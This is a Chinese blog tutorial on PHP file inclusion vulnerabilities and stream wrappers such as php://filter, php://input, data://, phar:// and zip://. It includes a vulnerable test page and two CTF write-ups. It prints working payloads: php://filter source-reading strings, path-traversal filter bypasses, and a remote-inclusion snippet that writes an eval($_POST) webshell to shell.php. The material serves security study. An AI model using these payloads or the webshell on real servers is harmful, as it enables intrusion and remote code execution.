WEB入门——文件包含漏洞与PHP伪协议

最新推荐文章于 2025-10-23 17:40:09 发布
原创 最新推荐文章于 2025-10-23 17:40:09 发布 · 1.1k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#php #前端 #服务器

本文详细介绍了PHP的文件包含漏洞，包括本地和远程文件包含，并讲解了PHP的伪协议，如file://、php://filter和php://input等，通过实例展示了如何利用这些协议读取和执行代码。此外，还提供了CTF练习来加深理解。

文件包含漏洞与PHP语言特性

一、文件包含

1、简介

在程序员开发过程中，通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需在此编写，这种调用文件的过程一般被称为文件包含。

随着网站业务的需求，程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，但是正是这种灵活性通过动态变量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

2、常见文件包含漏洞

1、include()
当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时之给出一个警告，然后继续向下执行。
 
2、include_once()
功能和include()相同，区别在于当重复调用同一文件时，程序只调用一次
 
3、require()
Require()与include()的区别在于require()执行如果发生错误，函数会输出错误信息，并终止脚本的运行。
 
4、require_once()
功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次。
 
5、highlight_file()、show_source()
函数对文件进行语法高亮显示，通常能看到源代码
 
6、readfile()、file_get_contents()、
函数读取一个文件，并写入到输出缓冲
 
7、fopen()
打开一个文件或者url

3、文件包含漏洞分类

3.1、本地文件包含

当被包含的文件在服务器本地时，就形成的本地文件包含漏洞。

3.2、远程文件包含漏洞

本地文件包含和远程文件包含造成漏洞的原因是一样的，

当php.ini 中的配 置选项allow_url_fopen和allow_url_include为ON的话，则包含的文件可以 是第三方服务器中的文件，这样就形成了远程文件包含漏洞。
所以远程文件包含条件：需要满足两个条件在php.ini中。当php.ini 中的配置选项

  • allow_url_fopen：on
  • allow_url_include：on

4、搭建平台

  • 在phpstudy软件 WWW目录下创建一个flag.txt文件。
  • 在** www/test**目录下创建一个test_include.php，代码如下：
    <?php 

highlight_file(__FILE__);

if(isset($_GET['file'])) {
    $str = $_GET['file'];

    include $_GET['file'];
}
  • 访问页面如下：
    在这里插入图片描述
  • 这时候提交 ?file=…/flag.txt，便可以查看到flag.txt的内容。
    在这里插入图片描述

5、路径的访问

5.1 绝对路径

绝对路径是指文件在硬盘上真正存在的路径。
例如“1.txt”这个文件是存放在硬盘的“C:\Users\15063\Desktop”目录下，那么 “1.txt”这个文档的绝对路径就是“C:\Users\15063\Desktop\1.txt”。

5.2 相对路径

相对于自己的目标文件位置。
例如“1.htm”文件所在目录为“C:\Users\15063\Desktop\lqf”，而“1.txt”文件所在目录为“C:\Users\15063\Desktop”，那么“1.txt”相对于“1.htm”文件来说，是在其所在目录的上级目录里。

5.3 路径绕过技巧

添加一些其他路径穿行。例如：
在这里插入图片描述

二、PHP伪协议

PHP伪协议事实上就是PHP支持的协议与封装协议

1、file://         	 -- 访问本地文件系统 
2、http://         	 --访问http(s)网址 
3、Phar://           --PHP归档 
4、Php://          	--访问各个输入/输出流 
5、Zlib://          --压缩流 
6、Data://          --数据
7、Glob://   		--查找匹配的文件路径模式
8、ftp://   		--访问ftp(s)URLs
9、ssh2:// 		--Secure Shell 2
10、rar:// 		--RAR
11、ogg:// 		--音频流
12、expect:// 		--处理交互式的流

1、 file:// 协议

用于访问本地文件系统，通常用于读取本地文件而且不会收到allow_url_fopen和allow_url_include的影响。
在include()/require()/include_once()/require_once()参数可控的情况下，如果导入非.php的文件，则仍按照php语法进行解析，因为这个是include()函数决定的
例如上面搭建的环境中我们可以使用file://协议读取flag.txt文件。

2、 php:// 协议

常用的php://协议

  • php://filter： 用于读源码。
  • php://input： 用于执行php代码

2.1 php://filter:

  • 语法：php://filter/read=convert.base64-encode/resource=页面名称
    • convert.base64-encode： 转换过滤器对数据源使用base64编码。
    • convert.base64-decode： 转换过滤器对数据源进行base64解码码。
    • resource=<要过滤的数据流>： 必须项。它指定了你要筛选过滤的数据流。
    • read=<读链的过滤器> ： 可选项。可以设定一个或多个过滤器名称，以管道符隔开
    • write=<写链的过滤器>： 可选项。可以设定一个或多个过滤器名称，以管道符隔开
    • <；两个链的筛选列表> ： 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况 应用于读或写链
  • 绕过：可以添加一些不相关的路径，例如：php://filter/read=convert.base64-encode/jhkajklj/resource=页面名称。
  • 练习：查看自己搭建页面的源代码：返回的是base64编码过的数据，用base64解码后得到源代码。
    在这里插入图片描述

3 、php://input

  • 此协议需要allow_url_include为on。
  • 可以访问请求的原始数据的只读流, 将POST请求中的数据作为PHP代码执行。
  • 当传入的参数作为文件名打开时，可以将参数设为php://input。
  • 当POST想设置的文件内容，PHP执行时会将POST内容当作文件内容。
  • enctype=“multipart/form-data” 的时候 php://input 是无效的。
  • 可以将PHP代码POST发送并执行
  • 练习：在自己搭建的环境中，使用php://input
    在这里插入图片描述

4、data://

  • 条件：allow_url_fopen:on 、allow_url_include :on

  • 可以将PHP代码使用data://协议发送执行

  • 用法：

    • data://text/plain,
    • data://text/plain;base64,

  • 练习：在自己搭建的平台，将<?php echo("hello");?>发送并执行。
    在这里插入图片描述

  • 使用base64编码 在这里插入图片描述

5、phar://协议

  • 可以访问压缩文件中的子文件。
  • 不受allow_url_fopen 和 allow_url_include的影响。
  • 用法：phar://[压缩文件的路径]/[被压缩的文件
  • 练习：
    • 创建一个shell_hello.php文件：内容为<?php echo("hello");?>
    • 将shell_hello.php压缩shell_hello.zip
      在这里插入图片描述
  • 也可以使用：phar://…/ shell_hello.zip/shell_hello.php——相对路径。
  • 将shell_hello.php 修改后缀成shell_hell_php.png，再进行压缩。也能用phar://协议访问。
    在这里插入图片描述

6、zip://

  • 可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，可修改为任意后缀：jpg png gif xxx 等等。
  • 不受allow_url_fopen 和 allow_url_include的影响。
  • 要用#分隔压缩包和压缩包内的内容，并且#要用url编码%23
  • 练习：
    在这里插入图片描述
  • 路径也可以使用绝对路径。
  • 将shell_hello.php 修改后缀成shell_hell_php.png，再进行压缩。也能用zip://协议访问。
    在这里插入图片描述

7、远程代码生成WebShell

  • 当allow_url_fopen 和 allow_url_include都为on时。
    在这里插入图片描述

  • shell.txt的内容为：

    <?php file_put_contents('shell.php','<?php eval($_POST["data"]);?>');?>

  • 会在当前网页目录下生成一个shell.php文件，内容为：<?php eval($_POST["data"]);?>

三、CTF练习

3.1 [极客大挑战 2019]Secret File

在这里插入图片描述

  • 查看源代码：得到一个链接，文本时Oh! You found me。所以我们点进去看看
    在这里插入图片描述

  • 进去之后：
    在这里插入图片描述
    – 点击弹出了下面页面，然后查看源码，没有什么新发现。我们打开BurpSuite 查看 HTTP History。
    在这里插入图片描述

  • 打开HTTP History，我们看到在end.php前面有一个action.php页面。我们点开它的Pretty，看到一个secr3t.php
    在这里插入图片描述

  • 将页面发送到Repeater里面。
    在这里插入图片描述

  • 使用GET请求，传入一个“file”参数，如果file值包含“…/”或者“tp”、“input”、“data”则返回“Oh no！” 并结束。并且告诉我们flag存在flag.php里面。

  • 直接传入flag.php，但是查看源码并没有flag。
    在这里插入图片描述

  • 直接尝试使用php://filter读取flag.php。php://filter/read=convert.base64-encode/resource=flag.php 。
    在这里插入图片描述

  • 将返回的值进行base64解码，得到flag。

在这里插入图片描述

3.2 had a bad day

在这里插入图片描述

  • 随便点一个。
    在这里插入图片描述
  • 尝试用php://filter读取index.php。php://filter/read=convert.base64-encode/resource=index.php 查看以下index.php 。看报错信息，知道服务器自动补了.php后缀。
    在这里插入图片描述
  • php://filter/read=convert.base64-encode/resource=index 把.php后缀去掉后提交，进行base64解码。分析源码，知道了，如果提交的file值不含woofers或者meowers、index的话，就会提示错误。
    在这里插入图片描述
  • 利用 /woofers/…/ 进行过滤，尝试去获取flag.php。php://filter/read=convert.base64-encode/woofers/…/resource=flag
    在这里插入图片描述
  • 得到flag
    在这里插入图片描述
php文件包含 伪协议
m0_64361111的博客
02-28 1239
PHP有很多内置 URL风格的封装协议，这类协议与fopen()、 copy()、 file_exists()和filesize()的文件系统函数所提供的功能类似。 zip:// 伪协议 先将要执行的PHP代码写好文件名为test.txt，将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传，若不能便将test.zip重命名为test.jpg后再上传 在网站根目录创建1.txt，内容为 压缩，压缩后在浏览器访问 php://input ..
文件包含漏洞+php伪协议
unexpectedthing的博客
11-11 8680
文章目录常见的文件包含函数基本绕过：利用php伪协议1.php://input2.php://filter3.data协议4.zip协议5.bzip2://协议6.zlib://协议7. phar://协议8..file协议日志包含介绍利用条件漏洞利用流程日志文件路径远程文件包含条件流程PHPSESSION包含包含/proc/self/environ文件包含临时文件过程包含上传文件绕过类型指定后缀绕过利用长度截断%00截断url指定前缀截断目录遍历编码参考文献 常见的文件包含函数 php文件包含函数有下面四
怕搞不懂 PHP 文件包含漏洞？一文讲清：原理 + 利用案例（含简单代码）+ 防御技巧，收藏这一篇足够！
最新发布
m0_59236602的博客
10-23 883
文件包含漏洞是PHP应用程序中常见的安全问题，当开发者使用包含函数引入文件时，如果传入的文件名参数未经严格校验，攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。
文件包含&php伪协议
Xiiaogu的博客
12-14 1307
将文件进行base64编码再读出，即在file=后，flag前加上php://filter/read=convert.base64-encode/resource=file=php://input，下方输入<?没有flag，再输入<?添加完数据后打开终端，查找目录下文件，输入ls,没有flag。返回查找根目录，输入ls /,里边有flag文件。
PHP伪协议-文件包含漏洞常用的伪协议
热门推荐
wangyuxiang946的博客
08-19 1万+
在实战中文件包含漏洞配合PHP的伪协议可以发挥重大的作用,比如读取文件源码,任意命令执行或者开启后门获取webshell等,常用的伪协议有 php://filter 读取文件源码 php://input 任意代码执行 data://text/plain 任意代码执行 zip:// 配合文件上传开启后门 下面拿ctf.show WEB模块的第3关举个栗子,这一关存在文件包含漏洞 php://filter php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件..
文件包含中PHP伪协议学习笔记
2302_80935968的博客
03-22 1388
1.当allow_url_fopen=Off和allow_url_include=Off或allow_url_fopen=Off和allow_url_include=On时，文件包含失败。data:// 同样类似与php://input，可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。2.当allow_url_fopen=On和allow_url_include=On时，include等其他包含函数才会将URL代表的文件包含执行，文件包含成功。
【CTF-SHOW】Web入门 Web78 初学文件包含 WP【data 伪协议、filter 伪协议 和 日志包含攻击】
2302_79596028的博客
10-27 1121
【CTF-SHOW】本文介绍了Web入门 Web78 的WP——关于data 伪协议、filter 伪协议 和 日志包含攻击】
ctfshow web入门文件上传web151————web170（完整）
2202_75289892的博客
08-10 789
题目提示前端校验F12查看前端代码，更改上传文件类型png为php，以便我们上传php后缀的代码文件。写一句话木马，先命名为.txt,再更改为php后缀：?上传成功，得到上传的路径查看根目录，没找到想要的文件名再往当前文件的上级目录找找到flag.php,访问即可。
WEB入门——WEB基础
HasntStartIsOver的博客
05-26 1440
Phpstudy启动的web服务器，默认其其他机器是可以访问的，而我们测试用的网站一般都是有漏洞。所以如果phpstudy直接安装在物理机上，最好限制网站只允许本地访问。一般来说URL的长度不宜过长，所以需要传递的参数比较大，使用POST请求。POST相比GET安全一些，因为GET请求的参数直接暴露在URL上。——所以铭感信息不要使用GET参数传递。
从CTFshow-web入门-web32~39理解PHP伪协议
Claire_cat的学习记录
08-13 450
本文介绍了web32-39的解题思路，主要利用PHP文件包含漏洞和伪协议绕过过滤限制。通过构造特殊的URL参数，如include$_GET[a]结合php://filter或data://伪协议，实现文件读取和命令执行。随着题目限制增多（如禁用echo、括号、冒号、数字等），逐步展示了更高级的绕过技巧，包括Base64编码、通配符替代和拼接字符串处理。
PHP伪协议精讲(文件包含漏洞)
2301_76251460的博客
07-21 1133
PHP伪协议。
文件包含漏洞 PHP伪协议
小石头的博客
10-21 500
伪协议 include $name . '.inc' include $name require $name allow_url_include fopen($name) file_get_contents($name) file_exists($name) allow_url_fopen php 很多伪协议 所有的伪协议，在使用时，前面都不能有内容。 ...
文件包含漏洞之伪协议|必看
qq_45908842的博客
08-16 966
伪协议配合文件包含漏洞，谁用谁爽啊！
文件包含时涉及PHP伪协议总结
qq_43256965的博客
05-14 1807
在做CTF题的时候文件包含题出现多次使用伪协议，学习了下伪协议就顺便写个博客防止以后忘记PHP伪协议总结温故而知新，宁静以致远。
文件包含漏洞&伪协议
qq_62078839的博客
04-16 2573
文件包含 文件包含漏洞原理 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入 include：包含并运行指定的文件，包含文件发生错误时，程序警告，但会继续执行。 include_once：检查这个文件是否已经被导入，如果已导入，便不会再导入。 require：包含并运行指定的文件，包含文件发生错误时，程序直接终止执行。 require_once：和 require 类似，不同处在于
【CTF】 文件包含漏洞——data伪协议 【详】
2302_79596028的博客
10-27 3553
本文详细介绍了在CTF比赛中关于文件包含漏洞的一种常用攻击方法——data伪协议
【每天学习一点新知识】文件包含常用之伪协议
RexHa的博客
02-06 3916
一些比较常用的php伪协议用法及部分演示过程
文件包含&PHP伪协议
LztCode
11-24 238
文件包含漏洞的常见利用 思路：URL传一句话进去(bp抓包)，文件包含日志文件执行 http://127.0.0.1/include.php?file=../Apache/logs/access.log&666=phpinfo(); //要使用php里面的功能就必须传一个参数进去 PHP伪协议 http://127.0.0.1/include.php?file=file://c:/Windows/win.ini 路径必须是绝对路径 php://filter读写文件(查账号密码) http://1
php伪协议 文件包含（一）
weixin_51692662的博客
10-14 689
文件包含，php伪协议
PHP程序员入门成长指南——从菜鸟到熟练掌握PHP编程
这份文档主要聚焦于PHP编程语言的入门教学，其内容可能涵盖了PHP的基本语法结构、变量与数据类型、流程控制语句（如if、else、switch、for、while等）、函数的定义与调用、数组操作、字符串处理、文件读写、表单处理...
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值